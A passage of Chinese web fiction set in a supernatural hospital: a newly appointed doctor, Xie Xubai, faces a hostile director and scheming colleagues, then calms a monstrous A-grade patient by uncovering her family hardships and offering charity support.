“……”谢叙白盯着他惨不忍睹的伤口,没一会儿发现那些口子在迅速收拢,垂了垂眼睫,从容自若地说道:“如果您实在想知道,我们可以做一场交易。” 谢叙白不知道,他只是在赌。 院长傅倧是个直接把徇私枉法写在脸上的人,既然这样,对方为什么要在论文阐述和对外形象上表现得那样公正严明一丝不苟? 除开【规则】限制,不作他想。 院长对上他的眼睛,嗤笑一声,将手提箱直接从谢叙白的胳膊下拖走:“别以为我不知道你在想什……” 话音未落,窗外又传来一声震耳欲聋的雷鸣。 轰! 院长:“……” 谢叙白:“……” 院长的脸皮紧绷轻颤,像是在压抑怒火,赶在第二道雷劈下来之前道:“主任医师的头衔廉价低贱,那是你自以为。都是成年人了,难道还不清楚在这个社会上,一个往上爬的机遇有多重要?” “站不住脚说明德不配位,是你自己实力不足,别赖在机遇的头上。” 他在对谢叙白之前的质疑作出回应。 天上的雷鸣声霎时间减轻不少,似乎认可院长的辩论。 “至于说我喜欢给下属穿小鞋,那更是无稽之谈,我只是给我们初来乍到的新主任提个合理的建议而已——奶羊崽子掉到狼窝里,不跑难道还等着被吃?” 院长似笑非笑地看着谢叙白:“就说你是不是觉得刚才带你过来的那人还挺好?对他笑了一路。” “……”谢叙白滴水不漏地回答,“他是什么人,我会在日后相处的过程中慢慢了解。作为初来乍到的新员工,对人面带微笑是最基本的礼貌。” “那就保持你乐观积极天真可爱的好心态。”院长重新坐回座位,将手提箱重新收到桌下,不客气地嗤道,“被欺负了记得自己躲被窝里偷偷掉眼泪,别想着给我打小报告,滚吧。” 谢叙白的视线一直紧紧跟随他拿着的手提箱,直至再也看不见箱子的影子,才收回去。 刚才雷劈下来的一瞬间,他想过直接拎着箱子跑。 试了试才发现这看似轻巧的箱子起码有上百斤重,他就是能拎动也跑不快,这才作罢。 谢叙白抬头和院长视线交锋,彼此都能闻见空气中弥漫的火药味。 从傅倧刚才不拿正眼看他,到正对着他说话,谢叙白知道刚才的对峙勉强站住了脚。 但实际交战的前提是敌我双方实力对等,如果一方远远高过另一方,逃不过被戏耍后拆吃入腹的结局。 别说院长开口赶人,谢叙白也不准备在这里多停留。 临近门口时,他忽然驻足道:“院长,我和您以前是不是认识或者见过面?” 院长微乎其微地顿了一下:“怎么,想套关系?” “随便问问,没关系才好。”谢叙白回头,对着他微微一笑,“毕竟一想到居然和您这样的人认识,那我可真是——” 院长还等着他的下一句话。 结果谢叙白话到中途戛然而止,嘴角微微上挑,露出院长同款故作高深的笑容,而后头也不回地离去。 也不能说没回头。 谢叙白随手关上办公室的门时侧过身,顺势瞥了对方一眼。 眸光透过镜片,反射出一股拒人于千里之外的疏冷清厌,只叫被凝视的人心里一阵打鼓。 门咔哒被关上,院长在椅子上纹丝不动。 半晌,中年男人才不是滋味地嗤笑一声:“小兔崽子。” 走出办公室的谢叙白转身,三步并作两步来到僻静且无监控的走廊角落,给吕向财打过去一个电话。 电话那边的人半秒不到就接通,似乎一直等着谢叙白的回音。 吕向财迫不及待地问:“这么快就办完手续了?工作环境怎么样,有没有人为难你?” 听着对方关切的话,谢叙白眨了眨眼睛,又眨了眨,借此收敛所有不稳的心绪。 再开口时,他恢复如常,忍俊不禁地说道:“你帮我掌眼挑选的地方,还能有什么问题?同事都挺友善,环境也好,就是那个院长,嗯……有点古板。” 吕向财没起疑,笑盈盈地说道:“是吧?他就是个顽固执拗的老古板,经常板着个脸像别人欠了他百八十万。” “我刚和他认识的时候病情更严重,扣子要系到领口,大夏天穿三件衣服裹得严严实实,不喝饮料只喝茶,还是热茶!一直怀疑他是古时候穿过来的老学究。” “但讲规矩也好,至少管理治下能做到赏罚分明,如果医院里有人为难你,你直接找他处理,别一个人默默受着,更不能委屈自己,知道吗?大不了换地方。” 谢叙白轻轻嗯一声,笑道:“好。” 吕向财顿了顿,其实他还有话想问。 其实傅倧本人非常不近人情,像一潭死水,砸不出半点波澜。 这次吕向财三通电话打过去,三次一言不合被挂断。 直到最后一次提到愿意让人无麻从头剖到尾,傅倧才稍微松口。 他没法离开,便将地点定在盛天集团内部的个人休息室。和各种现代化医疗设备的无菌手术室比起来,条件算得上简陋。 傅倧也毫不掩饰地表现出嫌恶,到场先做大扫除,桌缝死角都要拿棉签擦干净,一次性抹布差点把墙壁瓷砖擦出火花。 无奈,吕向财只能把谢叙白的资料放在旁边,和对方一起折腾。 中途休息的时候,傅倧无意中瞄见谢叙白的资料,拿起来翻看。 再然后吕向财还是痛了个大汗淋漓,因为麻药会对观察活性产生影响。 所以他不敢告诉谢叙白自己和傅倧交易了什么,知道青年肯定接受不了。 只是没想到,轮到心脏等致命部位,傅倧忽然停手,大发慈悲地放过了他。 问就是他皮糙肉厚,切得身强力壮的中年院长手疼。 所以吕向财想问两人是不是认识,没摘手套就直接拿起资料翻看,不符合傅倧刻薄挑剔的毛病。 但他找不到由头提起,怕青年察觉出端倪追问,最终转移话题道:“对了,小一是不是跟在你的身边?” “在的,大概是怕我出意外,一直跟着我。” 谢叙白半蹲下身,抚摸脚下的影子,用精神力感知里面传来的波动,忍不住笑了一声:“现在睡得正香,我可舍不得叫醒它。” 一个诡王突然闯入另一个诡王的地盘,必将气场相冲。 以防给谢叙白带来麻烦,上班时间小触手就睡在他的影子里,等感知到谢叙白遇到危险才会现身,像在江家时一样。 吕向财彻底放下心,只要那位的躯壳在,谁也威胁不到对方的生命安全。 两人又聊过几句,这时谢叙白忽然注意到拐角有一道若隐若现的身影,低声道:“时候不早了,我该去工位报道了。” “行,你忙,下班时间固定吗,晚上我让司机老张去接你?” “还不清楚,可能会忙到很晚,我坐地铁回去就行。对了,我最近气血虚,网上看到一家酒楼的食补菜系效果特别好,帮你也点一份?” “晚点没事,老张可以等。”吕向财爽快道,“食补?行啊!不过你下次要想吃的话直接告诉我,我认识一家酒楼专门做药膳,可以特别定制。” 谢叙白笑了笑:“也就偶尔吃一次,哪用这么麻烦。” 当天晚上,吕向财接到外送电话。 看到两个外送人员端着半人高的食盒时,他忽然察觉出不对,后面更是看着堆满半个办公桌的药膳和气血大补汤,直接傻眼。 时间回到现在。 谢叙白挂断电话,瞄向人影所在的位置,转身自然而然地往相反方向走。 没多久,带教老师从后方小跑上前,急匆匆地叫住他:“你没事吧?我刚听到外面的雷声,真吓人!你和院长到底在闹什么矛盾,不会打起来了吧?” “雷声?”谢叙白状似不解地回看他,“打雷和闹矛盾有什么关系?” 带教老师语塞。 触及规则就会引发雷动,这在高级医护人员内部不算秘密。 但院长却能够直接调动规则。 刚才动静闹得这么大,雷甚至直接劈到院长办公室的窗户上,不是谢叙白这个不长眼的外来户触怒院长,难道还能是谢叙白在攻击院长? 带教老师差点被自己的猜想逗笑,这怎么可能? 眼看旁敲侧击在谢叙白这里套不出话,带教老师敛去晦暗不明的眼神,带着青年去人力资源部报到。 接待小刘看见带教老师后表现得极其热情,随后看向谢叙白:“想必您旁边这位就是新来的小谢主任了,果真是年少有为,年纪轻轻就能坐上主任的位置,碾压一众勤勤恳恳十多年的老资历!” 他脸上热情洋溢,说出的话却夹枪带棒,带教老师当场沉下脸呵斥:“注意说话的态度,你又在阴阳怪气什么?” “啊?难道我刚才又说错话了?对不起对不起!我这人实在嘴笨,来来去去只会这些夸人的词,可能说出来不是很对味,但心里的崇拜绝对不掺假,谢主任应该不会介意吧?” 小刘低眉顺眼道:“要不,我再给您赔个不是?” 带教老师又高声怒骂小刘好几句,压着人的脑袋给谢叙白鞠躬道歉。 人力资源部都是第一医院的医护人员,听到动静全都停下手中的工作,驻足观望。 霎时间,谢叙白被神色各异的视线包围,成为众矢之的。 他半垂眼睫,指尖点在工作安排的纸页上,忽然问道:“我来之前听闻第一医院的职位向来有能者居之,包括院长,是不是?” 带教老师两人完全没想到谢叙白根本不接茬,而且这问题问得……真不是在内涵什么? 他们犹疑不定地回答了。 得到两人肯定的答复,谢叙白拿起安排表,道:“我的病人在哪儿,方便现在带我过去吗?” 前台的几个人力资源员工抬头,有意无意地和带教老师交换过眼神,后者道:“肯定方便。” 第一医院既医普通人的病,也治异化怪物的症。 两个区域完全分开,位于东西两侧,院长办公室所在的综合办事大楼则在两者的正中间。 谢叙白跟着带教老师前往西侧,建筑风景依旧秀美,只看外部特征,和人类专区没什么区别。 “您第一天刚来,怕您不习惯,所以全天只给您安排了一位病人。” 谢叙白问:“其他医生第一天报道,也只需要治疗一人?” “当然不是,至少都是五个,再甚者七八个都有。所以这是给您的优待。” 在凭实力说话的地方大谈优待么?谢叙白不置可否。 带教老师瞥向谢叙白,忽然提道:“至于咱们院长,那就更厉害了!入职第一天一口气收治三十多名病患,直接打破本院的最高记录。” “之后他上岗坐诊,接手病人日常保持在一百三十位以上,别说我们这些内部人员,即使说给外面的人听,谁敢相信?” 谢叙白疑惑道:“医院里有这么多病人?” “嘿!您这话跟我说说也就算了,可别当着其他人提。”带教老师说道,“这里好歹也是市立第一医院,很多患有重症的病人挤破头都求不到一个床位,说那种话多少有点……不识人间疾苦的意思。” 这话一经出口,旁边又有几个穿医护服的路人停住脚,视线往谢叙白的胸牌上一瞥,冷笑着移开目光。 谢叙白瞥见他们的神色,猜想要不了多久,关于自己这个新来主任不识大体、才疏学浅、为难小员工的谣言便会传得沸沸扬扬。 很快,他们抵达异化专区,后面跟着几条不知道是看好戏还是好奇的尾巴。 这里的墙面不再是陶瓷砖,而是钛合金钢板打造,反射着泠泠寒光。大门厚约7厘米,正常的武装防弹钢板最高也就10厘米,可以挡住吨级炸药的威力,和人类专区的差别立竿见影! 谢叙白跨过楼层大门,神色未变,直至来到病患的房间,看着眼前三层钢板厚度的重型防护门,方才抬了抬眼皮。 原来如此。 他刚才还在疑惑,如果多收才能验证实力,那些人要怎么安排,才能确保自己只专注一位病人。 现在明白了,只要安排的患者病情重亿点,他就没工夫再去收治其他病人。 听闻特异医疗部的新主任过来报到,不多时整个等候大厅就围聚一圈人。 他们还有病患,不可能停留太久,打算等到谢叙白和病人打个照面,见过对方的应对手段后就撤退。 各种探究的视线投射过来,带教老师站在旁边都有种如芒在背的紧张感,忍不住疑惑谢叙白居然什么反应都没有,整个人像是木头般沉默不语杵在哪儿。 是意识到自己的处境不妙,突然傻了么? 众目睽睽之下,谢叙白终于动了,转头看向带教老师,投以询问的目光:“怎么还不开门?” 带教老师一愣,这才回神还没有给谢叙白录入指纹,连忙道:“抱歉抱歉,我的疏忽。” 只见他将手掌按在操作屏上,重型防护门发出轰的一声巨响,听到这剧烈动静,人群忍不住交头接耳。 “怎么一来就治重症C级?虽然治好能加8点考核分,但治不好可是1分都没有。” 他们入职时都会得到一张分级表,里面会详细说明各级患者的治愈难度。 异变程度大致可分为:轻症、中症、重症和绝症。 病人实力按字母表分级,从强到弱分别是:A、B、C、D。 治好轻症D级为1分,中症2分,重症4,绝症8。 C级在此基础上翻倍乘2,B级在此基础上翻倍乘5,至于A级,那更是高级医护人员才能扛得住的强大存在,其他人想都不敢想! 据说还有S级,一经入院就引起轩然大波,被院长亲自出面收治,信息资料为绝密,其他人无从得知。 从某种程度上来说,那张分级表不仅是平时工作考察的得分说明,还在一定程度上代表着治疗的危险程度。 “谁都知道C级的难度,何况还是重症!” “难道是他自己选的?一来就开这么大?” “不现实,我怀疑是人力资源那些人……嘶,他居然什么防护服都没穿直接进去了,晚点再说,快过去看看!” 见青年的身影隐没在房门口,人群登时一窝蜂地涌向观察窗口。 无人注意到带教老师不敢置信的神色,他错身去拿防护服的功夫,谢叙白怎么就直接进去了? 老天爷啊!虽然他是想把谢叙白挤兑走,可从来没想过让人第一天就送命,那院长必定会怪在他的头上! 眼下人挤人形成一堵密不透风的围墙,他根本就进不去,急得满头大汗,拼命喊道:“让开!都让开!谢主任还没穿防护服——!” 话音刚落,却见其他人愣在原地。 不止他们愣住,带教老师的视线望过去,也猝然凝滞,一点点地张大嘴巴。 他们感受着排山倒海般汹涌可怖的威压,神色惊骇起来,有人当即揪住带教老师的衣领,喝问道:“房间门显示的是C级重症患者,为什么这里面会是A级!” “A级和C级的危害程度根本不是一个量级,就算在任的其他科主任都不敢轻易收治,你们是准备害死新主任吗?!” 不对不对不对!他明明安排的是C级,为什么会是A级?他就算想,也没有这个权限啊! 有谁想害他们?不……有谁不惜大费周章想害谢主任?? 带教老师恐慌地朝下面看去。 收治房间采用凹槽式设计,同时还有加厚隔音屏障,往下走的谢叙白根本就没能听到他们的议论声。 这一刻,所有人的心瞬间都提到嗓子眼,双眼一黑,暗道这下要出大事了! 第59章 抢病人啦 院长办公室。 电话很快接通,传来人力资源部主任爽朗的笑声:“喂,傅院长?难得在例会时间外接到您的电话,您有什么指示?” 傅倧屈指轻叩桌面,传出规律的脆响,一时没急着开口。 电话那头的人似乎意识到不对劲,呼吸变慢,愈发忐忑。 傅倧才开口问道:“你们给新来的主任安排了什么级别的病人?” “哈哈哈,这个么……” “想清楚再回答,老周。”傅倧语气不变,却莫名给人一种无法忤逆的压迫感,“我想,你应该不会愚蠢到自以为可以欺骗我?” 周主任蓦地呛咳两声,沉默半秒,苦笑道:“抱歉院长,底下人不懂事,我也是才知道他们胆子这么大,居然敢临时调换新主任的就诊病人。” 才知道?傅倧一阵嗤笑。 但他现在懒得和对方掰扯,直截了当地问:“到底换成什么级别,说。” 周主任支支吾吾地开口,表现得歉意十足:“就C级重症,考核的一般水平么。” “嘶,可能我们这些老家伙接待的病人多,应付起来没难度。就是不知道新来的主任之前负责什么强度,应该也没问题?” 和傅倧预想的大差不离。 他知道这些老滑头就算想玩阴,也不会明目张胆太过分,落人口实。 安排的C级重症,刚好就卡在住院医生(初级)和主治医师(中级)的分水岭上。 如果谢叙白能治好,那是他身为主任医师应有的实力,不值得歌颂或赞扬。 如果谢叙白治不好,那问题可就大了。 不出第二天,众多医生联名签下的弹劾信,就会明晃晃地摆在傅倧的办公桌上。 傅倧一时半会没说话,周主任立时表现得很关切:“怎么了院长,难道是新主任那边有点吃力?我立马找手下的人——” 上级搞不定的事情,堂而皇之地让自己的下级赶去救火,这是嫌谢叙白到时候丢脸丢得不够大? 傅倧一声冷笑,把电话那头的周主任笑得毛骨悚然。 周主任心思活泛,当即心惊胆战地猜测起谢叙白和院长是什么关系,毕竟这架势一看就是要维护到底。 他话锋一转找补道:“院长您别多想,马上啊,我现在就把手里的活交给小刘去处理,马上我就赶过去!” “不用了。”傅倧扯唇打断他,“你说得对,C级重症只算得上一般水平,彰显不出主任医师的实力,所以我要你给谢主任再加位B级重症。” 周主任如遭雷劈,直接傻在电话那头。 B级重症?院长这是想干什么? 世界扭曲来得毫无征兆,医生治疗速度永远赶不上怪物污染加重的速度,所以第一医院从来不缺病情严峻的患者。 关键是没人敢去治啊! 之所以把C级重症作为分水岭,是因为这个级别的病人好歹理智尚存,实力一般,医师自己就能镇压。 往上一级直接让人招架不住,医闹起来都是区域灾变级别,必须请出医院防卫科! 天知道周主任宁愿重伤,都不想面对防卫科的那群疯子。 可是院长刚才说什么?给新主任加塞一位B级重症? 周主任这下完全不担心傅倧偏心新主任,这架势无疑是想把对方往死里整! 傅倧仿佛能感觉到他心中的窃喜,笑道:“以防到时候出现恶性暴动,你多带点人过去盯着,最好把几位主任都叫上。” “这样啊,但是其他主任那边可能太忙,抽不出身。”周主任压抑喜悦,说着车轱辘话,“我尽可能通知他们。” 听到他这话,傅倧就知道十拿九稳。 别说几位主任连带他们背后的后辈实习生,就是巡逻队的保安,周秃子都会不嫌麻烦地招呼来几个。 毕竟那秃子一直将谢叙白现在的位置视为囊中之物,却不想想,就他那经常掉链子的水准,坐上去也不嫌扎腚? 挂断电话,傅倧轻嗤一声,端起桌子上的热茶轻抿一口。 随后视线转移,定格在碎落满地的窗户玻璃上。 他仍旧残留着骤然得知谢叙白能引动【规则】后的惊诧,没急着叫人来收拾换窗。 傅倧很期待,当那些结党营私的老东西,看见谢叙白轻松搞定C级重症后,又接连治好B级重症时,会是什么表情。 想到这里,他难免心情愉悦,没注意放下茶杯的手,偏移出杯垫两厘米。 刹那间,一道刺耳的警报声穿透傅倧的耳膜,眼前更是拉起只有他能看见的白底红字警戒线。 血字黏稠滑腻,好像真的鲜血在上面流动,充斥着诡谲阴郁的气息。 【随身物品放置地点出现偏移,不符合本人“严谨”、“重度强迫症”设定,请及时纠正!】 傅倧刚刚松缓的眉头刹那间皱成一团,脸色阴云密布。 他停着不动,约莫三秒。 那警报也接连响起三次,一声比一声高昂。 第三声之后,每一声都能带来实质的痛感,仿佛有只无形的大手正高举尖刀,恶狠狠地捅向他的耳朵。 傅倧再度发出冰冷森寒的嗤笑。 在痛感变得快麻木时,他终于伸出手,将偏移杯垫的茶杯端起来。 警报消失,虚拟的白底红字警戒线消失。 唯有耳边的刺痛挥之不去,宛若无言的警告。 傅倧若无其事地抿了口茶水,举着茶杯大概五分钟,警报声如约而至,尖锐激昂得大脑头皮都在震颤。 【检测出“饮茶-端举茶杯”动作超过逻辑时限,请及时纠正!】 傅倧顺势将茶杯放下,继续办公。 如此大概过去十多分钟,他忽然感应一股铺天盖地的可怖威压,从方向看,正是异化怪物分区的位置。 傅倧漫不经心地睨过去一眼,忽然感应到什么,眉头一蹙。 A级重症?! 傅倧当下觉得不妙,风风火火起身跨步到门口,手按在把手上就要冲出办公室。 血字警戒线唰一下出现,纵横交错封住门,强势地冲击着他的视网膜! 【非休息时间,请遵循“爱岗敬业”设定,勿要擅离工作岗位。】 “A级重症不知道被哪个不知死活的混账放出来了,那边有几百名医护人员和病人!你还让我留在这里爱岗敬业?” 傅倧怒声讥讽:“是等人死光后爱你X的乱葬岗,还是敬你X的殡葬业?!” 【暂无人员通报,请稍安勿躁。】 【请遵循“德高望重”“高涵养”设定,谈吐勿要涉及不和谐用语。】 “滚!”傅倧厉声怒喝。 他强硬地扭开门把手,警戒线瞬间暴起,宛如带刺的藤蔓紧紧缠住傅倧的整条胳膊,尖刺穿过骨骼,刮出道道血痕。 疼痛感刺激得傅倧愈发暴戾,眼神一厉浮现出猩红血色。 “我最后再说一遍——” 傅倧道:“给老子滚开!!” 受他庞大澎湃的精神力冲击,警戒线开始摇摇欲坠,炸出蛛网般的裂痕。 另一边,怪物医疗专区。 随着A级的威压气息流露而出,门口挂着C级重症的黄色就诊牌传出滋啦一声模糊的电子嘈杂音,眨眼的功夫变成A级血红色。 “系统刚才出错了,真的是A级重症!” 整个大厅登时陷入一片混乱,只听到不少人骇然大叫的吵闹声。 有人快速反应过来,拼命赶去通知防卫科支援。 周主任带着其他几位主任和他们的医疗团队赶到后,见到的就是这般人仰马翻的景象。 A级威压轰一声铺开,如暴风骤雨席卷至整栋大楼。 经验老道的主任们瞬间反应过来发生了什么事,当即脸色大变,逮住一个人询问情况。 那人语无伦次地叙述道:“不知道是谁想要坑害新来的主任,竟然把他的就诊病人换成A级重症!现在门打开了关不上,我们还在疏散人群!” 说完,他头也不回地跑上楼,协助保安组织人群撤离。 几位主任惊诧对视,没一秒,犹如寒刀的目光就劈在周主任的身上。 一名主任暴怒质问:“老周,这就是你说的好戏?你是疯了吗?啊?!” 他们不敢停留,说话的功夫已经冲进诊治大厅。 周主任大脑一片空白,完全被突如其来的消息震住了,张口结舌说不出话。 看到其他人火烧屁股般地冲进去,他猛然打了个寒颤,快步追上去,抓耳挠腮地辩解道:“你们一定要相信我,我,我不知道啊?我胆子再大也不敢做出这样的事情来!一定是院长他——” “别TM解释了,先解决问题!能不能确定被放出来的A级重症是哪一位?” 要知道重症之间亦有差别,有的只差一步就能堕入绝症,也就是人们耳熟能详的狂暴状态。 到那时候病人会理智全无,只剩原始的杀戮本能! 李主任只求千万不要是最坏的情况。 旁边的人见到几位主任的到来,犹如看见救星般眼露期许。 有人当即回道:“李主任,是A级【污泥】。” 李主任倏然松了口气。 没记错的话这名病人的情况一直很稳定,还不到彻底狂暴的程度。 然而紧跟着下一秒,另一位负责录入信息的住院医师追上来,焦急地说道:“各位主任,今早刚接到防治科的消息,说是病人【污泥】的情况恶化,不容乐观,他们给打了十几针镇定剂才把人压制住!” 几名主任:“…………” 我尼玛。 然而,等所有人都抱着视死如归的心情赶到事发地点,却发现不少应该撤离的医护人员都没走。 他们瞪大眼珠子,傻缺一般将整张脸怼在观察玻璃上,呆若木鸡地望下去。 威压尚在,仿佛在所有人心脏上打鼓,把几名主任看得怒发冲冠。 李主任上前,拽住一人的衣领怒喝:“都挤在这里干什么,不要命了是不是?” 那人仿佛被抽离现实,脸上写着深深的迷茫,回神辩解道:“不是的,主任,你们快看。” “看什么看?我——” “老李!快过来看!” 被同僚的招呼声打断,李主任愤怒地朝他们的指向地点看去。 几缕璀璨明亮的金色光芒横贯室内,以赫然威势钻进他的眼底,映着那双不断震颤的瞳孔。 李主任神情有一瞬间的惊愕:“……这是?” “你没看错,那是精神力实化。”同僚盯着那张年轻的脸,此时此刻,不知道是该庆幸还是嫉妒。 见谢叙白不紧不慢地朝着被金色光芒束缚在原地的病人走去,他终于压抑不住心中翻涌的惊涛骇浪,恨得咬牙切齿。 “这才二十多岁啊,精神力就能强到凝为实质?到底是我老了还是这个世界本来就有这么疯狂?” 李主任嚅嗫嘴唇,神色一样震惊。 平常来讲,一名医师要不断练习,直至四五十岁才能凝实精神力,谢叙白二十多岁就能做到了? 开什么世界玩笑! 谢叙白就这么大点岁数,不过是个乳臭未干的毛头小子,又能经历什么波折?难道他之前治疗过A级重症,或者天天掉下来A级病患给他练习? 不管他们再怎么不愿意接受,现实就明晃晃地摆在眼前,刺痛他们的心。 后辈忍住对A级诡王的惧怕,见几位老师情绪不对,赶忙安慰。 “老师,谁没有年轻过,您以前不也是这样意气风发?” “是啊是啊老师,您十几年前就能独自治疗A级病患,难道不比他厉害?” “而且眼下病人只是暂时被制服,还没有脱离危险情况,万一等会儿新主任应付不过来,还不是要靠您几位来救场吗?” …… 此时谢叙白顾不上注意外面的动静,全身心都挂在眼前的病人身上。 确实,他曾直面过狂暴状态的平安和江凯乐,A级诡王直接力压数个普通A级,数值一度能飞上S级的高峰! 但他从未在那种情况下,尝试用精神力安抚他们。 更重要的是,谢叙白感受到了病人当前的痛苦。 如代号【污泥】的字面意思,病人此时已经完全看不出人形,整个人犹如一个不停喷涌着泥浆的黑色泥泉,呈棱角圆润的金字塔形。 她异常高大,站起身来,甚至能顶到五米高的天花板。 面孔、四肢、皮肤都好像融化在那沥青般的泥浆中,只有一双布满红血丝且充斥着惊恐的眼睛露在外面,犹如筛子般疯狂抖动。 病人模糊不清的视野,捕捉到谢叙白身上的那抹白色,犹如看见黑暗里唯一的光芒,睁着红眼睛,费力蛄蛹过来。 偌大的阴影从上临下,将谢叙白的身体笼罩其中。 污黑黏腻的淤泥掉在地上,滋啦一声冒起白烟,钛合金制的地板竟是被腐蚀出一个深坑! 外面旁观的人仿若被无形利爪扼住咽喉,情不自禁地为谢叙白捏一把冷汗。 然而青年只是站在原地,一动不动地仰头看着病患,似乎在聆听她的倾述。 “医声…以…窝…痛!” ——医生,医生,我好痛苦。 “我…救……窝……不想……” ——救我,我不想变成这样。 金色精神力拦在眼前,病患无法更进一步,当即瞳孔扩张,发出喑哑悲悸的恸哭。 “啊——!啊!” 那哭声伴随着扑面而来的威压,仿佛能刺穿人的耳膜,实力不够的医护人员们纷纷捂住双耳,面色狰狞。 与此同时,谢叙白终于从对方的意识海中搜索到关键物象。 他闭了闭眼睛,坚定不移地扬声道:“不哭,不能哭。” “如果你就这么崩溃了,你的孩子要怎么办?你有听到她的哭声吗?你有看到她在找你吗?” 黑泥小山浑身一震,痛苦的声线逐渐转变为焦急,对着空无一物的白色就诊室不停寻找:“囡囡?我的囡囡在这里吗?妈妈在呀,在这里的,囡囡不怕,啊。” 谢叙白动用精神力,金色光芒汇聚于病患的意识海,霎时接触到更多的痛苦片段。 病患的心情随之而动,停下脚步,不断抽泣。 汩汩黑泥从她的眼眶淌过,噼里啪啦,在地板上烧灼出一个个焦黑的坑洞。 “医生,我好累,真的好累啊。” “孩子他爸出事故瘫痪在家,囡囡还小,我妈老年痴呆,家里就只有我一个人撑着。” “我每天要洗衣做饭,要拖老带小,还要照顾那不小心就会拉一床单的死鬼,我该怎么办?” 病患弯着腰,那腰怎么都挺不直,身体不停颤抖,哭声回荡在整个室内。 “床单不管洗多少次都好像带着屎尿味,一块钱恨不得掰成两块花。我妈总是记不住,总是往外跑,好不容易找到份新工作,半途接到邻居电话,说我妈不在家里——她又跑出去了!啊!我恨不得拿绳子拴着她!” “我不想活了啊,每天晚上都睡不着,头发大把掉,反复地想为什么偏偏是我遇到这种事?为什么我的人生会过成这样?” “我,我……啊啊啊啊!” 透过精神力链接,谢叙白能看到病患的记忆片段。 记忆以病患的第一人称视角呈现,他身临其境。 在模糊的片段中,谢叙白看见一个有点小帅的男人从门后冲出来,一拳头干翻家暴的老酒鬼。 接着男人慌乱地伸出手,将恐慌抱头的病患拽出昏暗的家门,向着洒满阳光的道路奔跑。 画面一转,谢叙白看到男人腼腆地站在林荫繁茂的大树下。 满地鲜花盛开,男人单膝跪地,羞赧的红晕烧到耳根,举起钻戒求婚,说我会一辈子对你好。 再然后,谢叙白看到一位年轻的母亲,她将年幼的病患护在身下,挨着老酒鬼的拳打脚踢。 又看见那名母亲瞒着老酒鬼省吃俭用,给病患买来水彩画纸,亲吻病患的额头,说我家孩子是好有天赋的小画家。 时间匆匆而过,如白驹过隙。 眨眼间几十年过去,年迈的老母亲打开门,看见病患探访的那一刻,蓦然睁大眼,差点喜极而泣。 在这一副副记忆片段的尽头,是病患双目失神地被男人拽出宛如地狱的老房子。 又在繁花盛开的地方抿唇含羞,接过男人的戒指,成为他的妻。 是病患年幼时手里捏着水彩笔,在纸上画出稚嫩的图画,画中有张嘴大笑的妈妈和女娃娃,有一个幸福的家。 又在几十年后开门的一刻,抱住老母亲单薄矮小的身体,亲吻她干枯起皱的脸庞。 还有她的孩子,全家唯二的健全人。 会笨拙地帮爸爸换脏床单,牵着奶奶的手带她回家。 会在病患累到快要崩溃的时候跑过来,挥动小手捶捶背,捶捶腿,认真地吹口气,说累累全都飞走啦。 …… 莫大的无力感如潮水席卷心头,谢叙白的心脏仿佛紧紧地揪在一起。 他直视病患满是癫狂的眼睛,眼角微湿,低声道:“我知道的,知道你的累和苦。” “床单和衣服很臭,对不对?妈妈好像完全变成个陌生人,只会添麻烦,老公除了躺在床上什么都做不了,几岁的孩子再努力也分担不了什么,上学吃饭全都是问题。” “但真正让你感到痛苦的是,比起放弃他们,你更想让他们好好地活下来,可你做不到,只能日复一日地麻痹自己,不断地劝说自己放弃。” 病患如同被钉在原地,嘴巴微张,却发不出声音,只有黑泥在扑扑簌簌地掉落。 “我还有救吗?医生。”病患啜泣着,像被压垮般,几乎跪伏在地,“他们都说世上只有一种病,那就是穷病,他们说得对,说得对啊……” 岂料谢叙白斩钉截铁地道:“有救。” 病患瞬间抬头。 “我知道一家公益福利机构,可以申请到社会补助,你丈夫、母亲、你和小孩都能按需申请到补助金,那些钱足够让你维持生活。” “还有你的母亲,那家公益机构近期内会开办一个部门,专门照顾患有阿兹海默症的病人。因为初次建立,申请流程不会太长。”谢叙白说道,“我认识那家机构的负责人,如果你需要的话,我可以帮你递交申请表。” “还有你的丈夫,现在医疗科技这么发达,不是没有再次站起来的可能。” 金色的精神力犹如温柔的巨网,将病患笼罩期间,轻柔细致地挑开表面厚重的污泥,让它们在灯光中消散。 “你很能干,很有毅力,背负这样沉重的家庭,也没有被压垮,不比任何人差劲。我知道有几个地方的工作很适合你,你会出人头地。” 没有了那些污泥的压迫,病患的身体越挺越直,怔愣地看着眼前的年轻医生。 医生对她笑了笑,他的眼尾洇出一抹红,挂着和病患一般无二的泪水,透过镜片显得朦朦胧胧,像温润细腻的江南烟雨。 他伸出手,嗓音温和如风:“至于你的孩子,那只有她最爱的妈妈能照顾,其他人代替不了。所以,我们现在去找她吧,好吗?” 病患的喉咙不停滚动,忍不住再次发出一声压抑到极致的泣音。 最后的污泥伴随着这一声撕心裂肺的啜泣消失,她伸出满是厚茧的手,颤颤巍巍地抓住谢叙白的手,宛如抓住这世上仅存的光明。 谢叙白扶她起身,无视满堂惊诧的目光,来到室内就诊台前,点击某项按钮。 一刹那,在场所有医护人员都听到手机传来嘀的一声响,是医院内部的重要通知。 他们惊魂未定地拿出来看,猛然倒吸一口凉气。 【恭喜谢主任成功治愈A级重症患者一名,加100考核分!当期成绩已满分!】 【重要通知:谢主任今日坐诊,无限制收治任何级别的病人,有意者可踊跃到窗口挂号!提醒:已就诊病患也可以中途更改主治医师。】 不仅其他医师惊呆了,几位主任也想骂娘。 特别是谢叙白不到10分钟就能医治A级重症的战果,被系统挂上资历栏时,他们的眉头经不住狠狠一跳。 首先叫囔起来的是他们身边的实习生。 实习生满脸惊恐:“老师,我的就诊室空了!他们都去挂了谢主任的号!” 其他人也叫:“靠!我的病人也是,不是说好了明天就给他治吗?” “搞什么鬼?别掉了别掉了,再掉没了啊。” “啊啊啊啊啊!谢余你个杀千刀的夯货!光天化日抢别人的病人,你要不要脸啊??” 第60章 他真的不是人! 谢叙白挂上坐诊通告,设定五分钟后开始叫号,没有抬头去看同事们青白交错的脸色,给吕向财拨去一个电话。 电话那头的吕向财听闻谢叙白的安排,难免有些吃惊。 确实,以青年为法人代表的许氏爱心公益协会,在几天前已经完成注册,该有的手续流程一应办妥,随时能够开始。 但他以为机构要正式步入正轨,最起码得等到谢叙白结束医院的考察期。 谢叙白的阐述条理不紊,各方面调度井然有序,明摆着提前详细计划过,绝对不是临时起意。 吕向财忽然想起谢叙白手中垒成小山的企划案,心里冒出个不可思议的猜想:“你该不会……在我告诉你要去第一医院任职前,就在琢磨这些事?” “差不多,这是十几天前做出的预案。”谢叙白没否认,“不过两天前才真正落实施行方案。” 吕向财何止是惊叹。 十几天前的谢叙白才从江家循环中脱困,两天前的谢叙白才拿到第一医院的聘用信。 